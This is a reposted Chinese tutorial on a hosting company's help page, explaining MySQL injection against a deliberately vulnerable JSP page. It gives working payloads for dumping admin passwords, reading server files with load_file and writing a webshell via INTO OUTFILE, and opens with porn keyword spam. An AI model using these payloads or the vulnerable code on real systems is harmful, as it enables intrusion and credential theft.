欧美日日操,日日爱网站,99久久久久久久,日本高清不卡免费,久久免费观看国产精品,秋霞在线观看视频一区二区三区

始創(chuàng)于2000年 股票代碼:831685
咨詢熱線:0371-60135900 注冊(cè)有禮 登錄
  • 掛牌上市企業(yè)
  • 60秒人工響應(yīng)
  • 99.99%連通率
  • 7*24h人工
  • 故障100倍補(bǔ)償
全部產(chǎn)品
您的位置: 網(wǎng)站首頁(yè) > 幫助中心>文章內(nèi)容

MYSQL數(shù)據(jù)庫(kù)注射精華

發(fā)布時(shí)間:  2012/7/4 14:37:13
Tsenable 前言
  鄙人今天心血來(lái)潮突然想寫篇文章,鄙人從來(lái)沒(méi)寫過(guò)文章,如果有錯(cuò)誤的地方請(qǐng)多多指教.
  本文需要有基礎(chǔ)的SQL語(yǔ)句知識(shí)才可以更好的理解.建議想學(xué)習(xí)的人多去了解一下SQL語(yǔ)句
  和編程語(yǔ)言,知己知彼才能百戰(zhàn)百勝.
  我不希翼得到讀者您的好評(píng),盡管我盡力了;只希望本文能解決您學(xué)習(xí)過(guò)程的障礙,希望
  您早日掌握有關(guān)MYSQL 注入方面的知識(shí).
  1.MYSQL 注射的產(chǎn)生.
  漏洞產(chǎn)生原因 : 程序執(zhí)行中未對(duì)敏感字符進(jìn)行過(guò)濾,使得攻擊者傳入惡意字符串與結(jié)構(gòu)
  化數(shù)據(jù)查詢語(yǔ)句合并,并且執(zhí)行惡意代碼.
  咱們先創(chuàng)造一個(gè)沒(méi)有過(guò)濾的程序. 因?yàn)槲覚C(jī)器上沒(méi)有PHP,所以我就是用 JAVA 了,我會(huì)
  詳細(xì)注釋.
  代碼
  數(shù)據(jù)庫(kù):
  create database if not exists `test`;
  USE `test`;
  /*數(shù)據(jù)表 `account` 的表結(jié)構(gòu)*/
  DROP TABLE IF EXISTS `account`;
  CREATE TABLE `account` (
  `accountId` bigint(20) NOT NULL auto_increment,
  `accountName` varchar(32) default NULL,
  `accountPass` varchar(32) default NULL,
  PRIMARY KEY (`accountId`)
  ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
  /*數(shù)據(jù)表 `account` 的數(shù)據(jù)*/
  insert into `account` values
  (1,’account1’,’account1’);
  /*數(shù)據(jù)表 `admin` 的表結(jié)構(gòu)*/
  DROP TABLE IF EXISTS `admin`;
  CREATE TABLE `admin` (
  `adminId` bigint(20) NOT NULL auto_increment,
  `adminName` varchar(32) default NULL,
  `adminPass` varchar(32) default NULL,
  PRIMARY KEY (`adminId`)
  ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
  /*數(shù)據(jù)表 `admin` 的數(shù)據(jù)*/
  insert into `admin` values
  (1,’admin’,’admin’);
  :
  程序:
  <%@ page language="java" import="java.util.*,java.sql.*"
  pageEncoding="utf-8"%>
  <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
  <html>
  <body>
  <%
  //連接MYSQL的字符串.
  //jdbc:mysql://localhost:3306/test
  //驅(qū)動(dòng):數(shù)據(jù)庫(kù)://地址:端口/數(shù)據(jù)庫(kù)名稱
  String mysqlConnection = "jdbc:mysql://localhost:3306/test";
  //加載驅(qū)動(dòng) com.mysql.jdbc.Driver 是JAVA與MYSQL 連接用的JDBC驅(qū)動(dòng)
  Class.forName("com.mysql.jdbc.Driver").newInstance();
  //建立MYSQL鏈接 root是用戶名 cx0321 是密碼
  Connection connection = DriverManager.getConnection(mysqlConnection,
  "root", "cx0321");
  //建立一個(gè)查詢對(duì)象
  Statement statment = connection.createStatement();
  //建立一個(gè)查詢返回集合. 就是說(shuō)查詢完以后返回的數(shù)據(jù)全部都在這個(gè)里面.
  ResultSet resultSet = null;
  //從account里面讀取數(shù)據(jù).
  resultSet = statment.executeQuery("select * from account where accountId
  = ’"+ request.getParameter("id") +"’");
  //循環(huán),直到resultSet結(jié)束
  while(resultSet.next())
  {
  //從resultSet讀取出值輸出到頁(yè)面.
  out.print(resultSet.getInt(1)+"|");//取出第一列的值,因?yàn)槭菙?shù)字類型的所
  以是getInt();
  out.print(resultSet.getString(2)+"|");//取出第二列的值,因?yàn)槭亲址?
  型的所以是getString();
  out.print(resultSet.getString(3)+"|");
  out.print("<br />");//頁(yè)面輸出換行
  }
  %>
  </body>
  </html>
  2.漏洞的利用
  
  (壞狼安全網(wǎng)提供圖1)
  這個(gè)就是數(shù)據(jù)庫(kù)里的記錄了.以后黃色為關(guān)鍵語(yǔ)句,紅色為輸入的部分.
  大家注意看resultSet = statment.executeQuery("select * from account
  where accountId = ’"+ request.getParameter("id") +"’");
  這里的request.getParameter("id") 是獲取GET 傳參的id 參數(shù), 也就是
  mysqlInject.jsp?id=1 這里的id. 這樣這個(gè)SQL 語(yǔ)句就變成了select * from
  account where accountId = ’1’ 了.如果加以變換呢?
  2.1 漏洞的檢測(cè)
  我們把id 寫成mysqlInject.jsp?id=1’ 那么SQL 語(yǔ)句就變成select * from
  account where accountId = ’1’’ 了,這樣的話SQL 語(yǔ)句就會(huì)報(bào)錯(cuò),因?yàn)镾QL 語(yǔ)句的值
  是需要2 個(gè)包含符號(hào),比如’和”如果只是數(shù)字可以什么都不寫.如果不報(bào)錯(cuò)的話就說(shuō)明程序替換,
  過(guò)濾或者其他方法來(lái)防護(hù)了.
  
  那么我們可以繼續(xù)來(lái)測(cè)驗(yàn), mysqlInject.jsp?id=1’ and ’’=’ 那么SQL 語(yǔ)句就變
  成了select * from account where accountId = ’1’ and ’’ = ’’ ,應(yīng)該返回正
  常.
  
  有些人說(shuō)我的為什么返回不正常呢? 有2 種原因,第一是程序把惡意字符過(guò)濾了;第二是程
  序的語(yǔ)句和我寫的不一樣select * from account where accountId = 1’ and ’’=’.
  這個(gè)問(wèn)題在下邊會(huì)談到.
  2.2 Union 查詢猜此次查詢列的數(shù)量
  這里有的人會(huì)說(shuō)猜此次查詢列的數(shù)量有什么用?如果只是檢測(cè)當(dāng)然沒(méi)有,但是你想進(jìn)一
  步的利用那么就有大的用處了,文章后邊會(huì)講到的,耐心.
  如果懂SQL 的人應(yīng)該知道UNION 查詢吧?UNION 查詢就是聯(lián)合查詢,執(zhí)行第二條查詢
  語(yǔ)句將返回值和本次查詢合并.
  大家想想,如果要和本次查詢值合并需要一個(gè)什么條件呢?需要聯(lián)合查詢的列數(shù)和此
  次查詢的列數(shù)相等.如果不想等的話就會(huì)無(wú)法合并,那么就會(huì)報(bào)錯(cuò).通過(guò)這一特點(diǎn)聰明的你應(yīng)該
  會(huì)想出這么才列數(shù)了吧?
  那么我們要的就是使得UNION 查詢出來(lái)的列數(shù)與本次查詢出來(lái)的列數(shù)相等.也就是說(shuō)不報(bào)
  錯(cuò)就會(huì)相等.
  先從第一列開始猜,那么要把這個(gè)語(yǔ)句union select 1 構(gòu)造在地址程序的語(yǔ)句當(dāng)中.
  那么語(yǔ)句就是mysqlInject.jsp?id=1’ and union select 1 and ’’=’ 這樣的.
  有些人問(wèn)為什么后邊(綠色的部分)要加上and ’’=’ 呢? 也許大家記了吧,我們的SQL 語(yǔ)
  句是需要兩個(gè)包含符號(hào)的,語(yǔ)句select * from account where accountId = ’1’ 我
  們輸入的是在1 那個(gè)位置,所以要去除后邊的’,否則語(yǔ)句會(huì)報(bào)錯(cuò)的.
  在本程序里也就是’ 如果你要想消除’ 有很多辦法,為了讓大家明白所以我現(xiàn)在使用and
  ’’=’.
  先說(shuō)一說(shuō)有幾種辦法消除這個(gè)’
  1. 使用 and ’’ = ’ 雖然不夠方便,但是在復(fù)雜SQL 語(yǔ)句里不會(huì)報(bào)錯(cuò)的.
  2. 使用注釋 # 或者 /**/, 這樣可以把后面的東西全部注釋掉,但是有一個(gè)大問(wèn)題,就
  是在執(zhí)行復(fù)雜SQL 語(yǔ)句的時(shí)候有可能會(huì)報(bào)錯(cuò).
  有些人測(cè)試,咦?為什么我加了#還是會(huì)報(bào)錯(cuò)呢?因?yàn)楸敬问鞘褂肎ET 傳參,在地址欄傳
  參.大家想想,當(dāng)初下載帶#名稱的數(shù)據(jù)庫(kù)是什么樣子呢?哦,對(duì)了,#是地址欄的結(jié)束符,
  就是說(shuō)#包括#以后的字符全部不傳入.所以#在GET 模式下注入注入不起作用.
  那么有些工具寫的在構(gòu)造注射的時(shí)候?yàn)槭裁词?
  mysqlInject.jsp?id=1’/**/and/**/union/**/select/**/1/**/and/**/’’
  /**/= /**/’/* 呢? 因?yàn)樵诔绦蚶镞呌泻瘮?shù)可以把傳入?yún)?shù)里面的空格去除,如果去除
  了空格,將會(huì)是程序產(chǎn)生了錯(cuò)誤的語(yǔ)句,那么就會(huì)一直報(bào)錯(cuò)了.所以有些工具就是用/**/這
  種東西來(lái)取代空格了.
  那 /**/ 又是什么呢? /**/ 是一種注釋,叫做文檔注釋,就是從/* 開始直到*/ 結(jié)束,中
  間任何代碼都會(huì)成為注釋,所以是程序員在寫大量注釋時(shí)候所使用的一種注釋.
  那最后的/* 是什么呢? 那個(gè)是用來(lái)解決 SQL 語(yǔ)句 包含符號(hào)沒(méi)有成雙成對(duì)的.
  我們開始測(cè)試.
  mysqlInject.jsp?id=1 ’/**/union/**/select/**/1/*
  select * from account where accountId = ’1
  ’/**/union/**/select/**/1/*’.
  
  注意到最低下那句話了嗎?
  javax.servlet.ServletException: The used SELECT statements have a
  different number of columns
  大概意思是”這個(gè)使用的查詢列數(shù)不同”,由此得出此次查詢不是查詢了一個(gè)表.
  以此類推, select 1 select 1,2 select 1,2,3 知道正確位置,那么你現(xiàn)在說(shuō)寫的列數(shù)也
  就是本次查詢的列數(shù)了.
  
  大家看到地下返回 1|2|3| ,這個(gè)值是從咱們的UNION查詢里合并出來(lái)的. 試試把UNION
  SELECT 1,2,3 換成 UNION SELECT 4,5,6 看看.地下是不是編程了 4|5|6| 了?
  
  有人說(shuō) 你都是騙人的 我怎么換,我都換到789 了也沒(méi)有出來(lái),還是現(xiàn)實(shí)原來(lái)的數(shù)據(jù),你騙
  人;我沒(méi)有騙人,我也不會(huì)騙人;那為什么出不來(lái)?
  有些程序?qū)懙臅r(shí)候只是把數(shù)據(jù)返回集合的第一行輸出,但是UNION 查詢以后是把數(shù)據(jù)合并
  到此次查詢以后,那么他只輸出了此次查詢的數(shù)據(jù),其實(shí)UNION 查詢的數(shù)據(jù)也有,但是他沒(méi)有輸
  出.那怎么辦呢?聰明的人一定會(huì)想到. 啊,原來(lái)如此,只要讓此次查詢不輸出就可以了.哈哈哈,
  我聰明了,可是怎么讓此次查詢不輸出呢? 先告訴大家一個(gè)簡(jiǎn)單的方法,看看SQL 語(yǔ)句,我們是
  做過(guò)限制條件的. Where accountid = ? ,那么也就是說(shuō)讓這個(gè)accoundId 限制到一個(gè)沒(méi)
  有的id 上那么不就會(huì)沒(méi)有了? 心動(dòng)不如行動(dòng),試試.
  mysqlInject.jsp?id=1000’/**/union/**/select/**/4,5,6/*
  select * from account where accountId
  =1000’/**/union/**/select/**/4,5,6/*
  
  哈哈,果然沒(méi)有了!!! 注意綠色的部分,指定查詢一個(gè)沒(méi)有的id ,那么他理所當(dāng)然的就會(huì)
  蒸發(fā)了.
  2.3 低幾率另類猜此次查詢列的數(shù)量
  此方法雖然幾率低一點(diǎn),但是會(huì)大大減少工作量的.次方法只適用于 select * 的簡(jiǎn)易
  SQL 語(yǔ)句.
  這個(gè)方法是用的是 mysql 里的 order 排序. 排序是按照順序排下來(lái).我們來(lái)寫一條
  SQL 語(yǔ)句. Select * from account where accountId = ’1’ order by accountId
  那么這個(gè)SQL 語(yǔ)句也就是根據(jù) accountId 升序排序. 那么我們不知道他有什么怎么辦,而且
  這怎么猜? 這里是關(guān)鍵問(wèn)題. MYSQL 支持列編號(hào)排序Select * from account where
  accountId = ’1’ order by 1 這樣也就是按照第一列排序.
  哎呀,你又在騙我們,排序怎么猜列的數(shù)量? 那么我按照一個(gè)不存在的列排序呢? 比如第四
  列? 你一般身上有3 個(gè)口袋,一個(gè)最多10 元錢,一天吃一頓,一頓3 斤米,一斤米一元,但是你今
  天吃了4 斤米,需要40 元,你卻只有3 個(gè)口袋,你就沒(méi)有40 元,你就要挨打了.
  也就是說(shuō)一共有3 個(gè)列,order by 3 ,按照第3 列排序,正常,order by 4,按照第4
  列排序,沒(méi)有第4 列,出錯(cuò).那么也就說(shuō)明他有4 列.
  這種方法是根據(jù)人的經(jīng)驗(yàn)判斷的.我一般使用這個(gè)方法都會(huì)成功,就是不成功也相差不多.
  2.4 使用UNION 猜其他表,查詢其他表
  使用此方法可以查詢到其他表里的內(nèi)容.比如查詢管理員的密碼等.但是有個(gè)前題,必須道要
  才表的表名和列名. 那怎么才能知道呢? 猜!!! 因?yàn)镸YSQL 和SQLSERVER 的系統(tǒng)函數(shù)不一
  樣,SQLSERVER 里有 SP_HELPDB 而MYSQL 里沒(méi)有,所以只能猜了.
  好,開始構(gòu)造語(yǔ)句. 我們要猜看看有沒(méi)有admin 表.
  mysqlInject.jsp?id=1’/**/union/**/select/**/4,5,6/**/from/**/admin/*
  SQL : select * from account where accountId =
  ’1’/**/union/**/select/**/4,5,6/**/from/**/admin/*’
  如果正常的有admin 表的話,那么返回是正常的,如果沒(méi)有的話會(huì)報(bào)錯(cuò)的.
  
  大家看到了吧? 有admin 這個(gè)表,為了讓大家更好的理解,我們?cè)诓乱粋(gè)其他不存在的表.
  mysqlInject.jsp?id=1’/**/union/**/select/**/4,5,6/**/from/**/helloword/*
  SQL : select * from account where accountId =
  ’1’/**/union/**/select/**/4,5,6/**/from/**/ helloword/*’
  
  看到了吧?沒(méi)有 helloworld 這個(gè)表.所以報(bào)錯(cuò)了.
  又問(wèn),為什么還是會(huì)寫4,5,6 呢? 啊哈,因?yàn)槲覀儾恢浪牧忻?如果寫了 * 他將會(huì)全部列
  出來(lái),如果和此次查詢的列不相等,那么就會(huì)報(bào)錯(cuò)了.所以要寫一個(gè)相等的.
  現(xiàn)在表名出來(lái)了,怎么才列名呢?哎呀,大家太聰明了,直接把4,5,6 其中一個(gè)替換成列名
  不久行了? 那么構(gòu)造出.
  mysqlInject.jsp?id=1’/**/union/**/select/**/adminId,5,6/**/from/**/admin/*
  SQL : select * from account where accountId =
  ’1’/**/union/**/select/**/adminid,5,6/**/from/**/admin/*’
  
  看見了嗎? 1|5|6 的一就是 adminid.如果正常那么就是存在了. 大家可以把列名猜出來(lái),然后
  帶入U(xiǎn)NION 查詢中,這樣就查出來(lái)管理員帳號(hào)或者密碼了.現(xiàn)在我要把列名一次全部帶入.
  mysqlInject.jsp?id=1’/**/union/**/select/**/adminId,adminName,adminPass/**/from/**/admin/*
  SQL : select * from account where accountId =
  ’1’/**/union/**/select/**/adminid,adminName,adminPass/**/from/**/admin
  /*’
  哈哈,出來(lái)了, 1|admin|admin| 就是 adminid|adminName|adminPass|
  也可以在union 查詢上限制條件,比如你知道有admin 這個(gè)用戶那么就構(gòu)造 union select
  adminId,adminName,adminPass from admin where adminName = ‘admin’,看個(gè)人的發(fā)揮了.
  2.5 使用MYSQL 系統(tǒng)函數(shù).
  2.5.1.1.1 使用 load_file() 函數(shù) 顯示文件.
  Load_file 顧名思義.就是加載文件,可不是運(yùn)行啊,是顯示內(nèi)容,但是必須對(duì)文件擁
  有讀取權(quán)限.我們先來(lái)構(gòu)造一個(gè)顯示 c:\boot.ini 文件的語(yǔ)句.
  mysqlInject.jsp?id=1’/**/union/**/select/**/1,load_file(0x633A5C626F6F742E696E69),
  3/*
  SQL : select * from account where accountId =
  ’1’/**/union/**/select/**/1,
  load_file(0x633A5C626F6F742E696E69),3/*’
  
  看到了嗎? C:\boot.ini 文件的內(nèi)容. 又問(wèn),為什么load_file() 里面是
  亂碼呢? 那不是亂碼,那個(gè)是C:\boot.ini 16 進(jìn)制編碼. 因?yàn)楸竞瘮?shù)無(wú)法處理
  直接寫的路徑,只能能使用16 進(jìn)制或者是 Ascii 編碼.所以要將路徑轉(zhuǎn)換成 16
  進(jìn)制或者是Ascii 編碼才可以執(zhí)行.
  又問(wèn),為什么load_file 是在第二列的位置上,不是在第一列或者第三列的位置上呢?
  因?yàn)榘?第一列不行,其他的都可以,第一列是一個(gè) INT 類型,一個(gè)數(shù)字類型,難道你會(huì)
  把你女朋友送進(jìn)男廁所嗎? 呵呵.玩笑.如果是在 linux 下可以使用 / 來(lái)列目錄 ,但
  是必須有列目錄的權(quán)限.
  通過(guò)load_file 可以列目錄,讀文件,但是遇到文件格式編碼的時(shí)候也許會(huì)遇到亂碼
  的問(wèn)題. 這個(gè)問(wèn)題可以這么解決. 使用 subString 函數(shù), subString(字符串,開始,返
  回).
  假設(shè)我們要返回第三個(gè)字符, 那么就是
  mysqlInject.jsp?id=1’/**/union/**/select/**/1,substring(load_file(0x633A5C626F6F742
  E696E69),3,1) ,3/* 這樣我們就返回了第三個(gè)字符,用于解決亂碼是非常好的辦法.
  我近期會(huì)做一個(gè)這樣個(gè)工具,將會(huì)公布在我的個(gè)人主頁(yè)上.
  2.5.1.1.2 使用outfile 寫WEBSHELL.
  mysql 有一個(gè)功能,就是把查詢的結(jié)果輸出.就是outfile.先來(lái)構(gòu)造一個(gè)簡(jiǎn)單的語(yǔ)句.
  select ‘hello word’ into outfile ‘c:\\a.txt’ 這里是講 ‘hello word’ 輸出到 c:\a.txt
  那么在網(wǎng)站也來(lái)構(gòu)造一下.
  mysqlInject.jsp?id=1’/**/union/**/select/**/1,’hello’,3/**/into/**/outfile/**/’c:\\hello.txt’/
  *
  SQL : select * from account where accountId =
  ’1’/**/union/**/select/**/1,
  ’hello’,3/**/into/**/outfile/**/’c:\\hello.txt’/*’
  成功插入.但是為什么會(huì)報(bào)錯(cuò)呢?哦,那是因?yàn)槟惆褦?shù)據(jù)寫到文件中,返回集合什
  么都沒(méi)有了,當(dāng)然會(huì)報(bào)錯(cuò)了.如果你把hello 換成 一句話或者其他的,如果寫入
  到網(wǎng)站目錄下,那是多么恐怖啊…
  2.5.1.1.3 System 系統(tǒng)命令
  如果使用system 就相當(dāng)于SQLSERVER 的xp_cmdshll 一樣.
  2.漏洞的防護(hù)和總結(jié)
  通過(guò)過(guò)濾特殊關(guān)鍵字來(lái)防護(hù).代碼網(wǎng)站很多,我這里就不寫了.
  針對(duì)JAVA 有一種防護(hù)措施,就是使用PreparedStatement 對(duì)象進(jìn)行查詢,這里也不多說(shuō)
  了.
  本文只是一個(gè)概括的講述,如果應(yīng)用到實(shí)戰(zhàn)當(dāng)中需要結(jié)合經(jīng)驗(yàn).


本文出自:億恩科技【www.sunshares.net】

服務(wù)器租用/服務(wù)器托管中國(guó)五強(qiáng)!虛擬主機(jī)域名注冊(cè)頂級(jí)提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM]

  • 您可能在找
  • 億恩北京公司:
  • 經(jīng)營(yíng)性ICP/ISP證:京B2-20150015
  • 億恩鄭州公司:
  • 經(jīng)營(yíng)性ICP/ISP/IDC證:豫B1.B2-20060070
  • 億恩南昌公司:
  • 經(jīng)營(yíng)性ICP/ISP證:贛B2-20080012
  • 服務(wù)器/云主機(jī) 24小時(shí)售后服務(wù)電話:0371-60135900
  • 虛擬主機(jī)/智能建站 24小時(shí)售后服務(wù)電話:0371-60135900
  • 專注服務(wù)器托管17年
    掃掃關(guān)注-微信公眾號(hào)
    0371-60135900
    Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權(quán)所有  地址:鄭州市高新區(qū)翠竹街1號(hào)總部企業(yè)基地億恩大廈  法律顧問(wèn):河南亞太人律師事務(wù)所郝建鋒、杜慧月律師   京公網(wǎng)安備41019702002023號(hào)
      0
     
     
     
     

    0371-60135900
    7*24小時(shí)客服服務(wù)熱線